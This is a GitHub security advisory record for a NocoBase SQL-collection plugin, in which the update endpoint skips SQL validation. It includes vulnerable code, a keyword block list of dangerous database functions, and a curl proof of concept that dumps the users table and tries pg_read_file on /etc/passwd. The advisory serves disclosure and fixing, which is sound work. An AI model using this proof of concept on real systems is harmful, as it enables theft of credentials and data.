{"id":"GHSA-wrwh-c28m-9jjh","summary":"@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call","details":"## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 — execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) =\u003e {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 — update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) =\u003e {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',\n    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...\n  ];\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) && !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"\u003cadmin_jwt_token\u003e\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }'\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file('\\''/etc/passwd'\\'')\", \"fields\": [], \"template\": \"sql\"}'\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL — bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }'\n# Returns: 200 OK — no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) =\u003e {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.","aliases":["CVE-2026-41641"],"modified":"2026-05-08T20:26:25.418245Z","published":"2026-04-22T20:07:11Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-22T20:07:11Z","nvd_published_at":"2026-05-07T06:16:05Z","cwe_ids":["CWE-284","CWE-89"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41641"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/pull/9134"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91"},{"type":"PACKAGE","url":"https://github.com/nocobase/nocobase"},{"type":"WEB","url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.39"}],"affected":[{"package":{"name":"@nocobase/plugin-collection-sql","ecosystem":"npm","purl":"pkg:npm/%40nocobase/plugin-collection-sql"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.39"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-wrwh-c28m-9jjh/GHSA-wrwh-c28m-9jjh.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}]}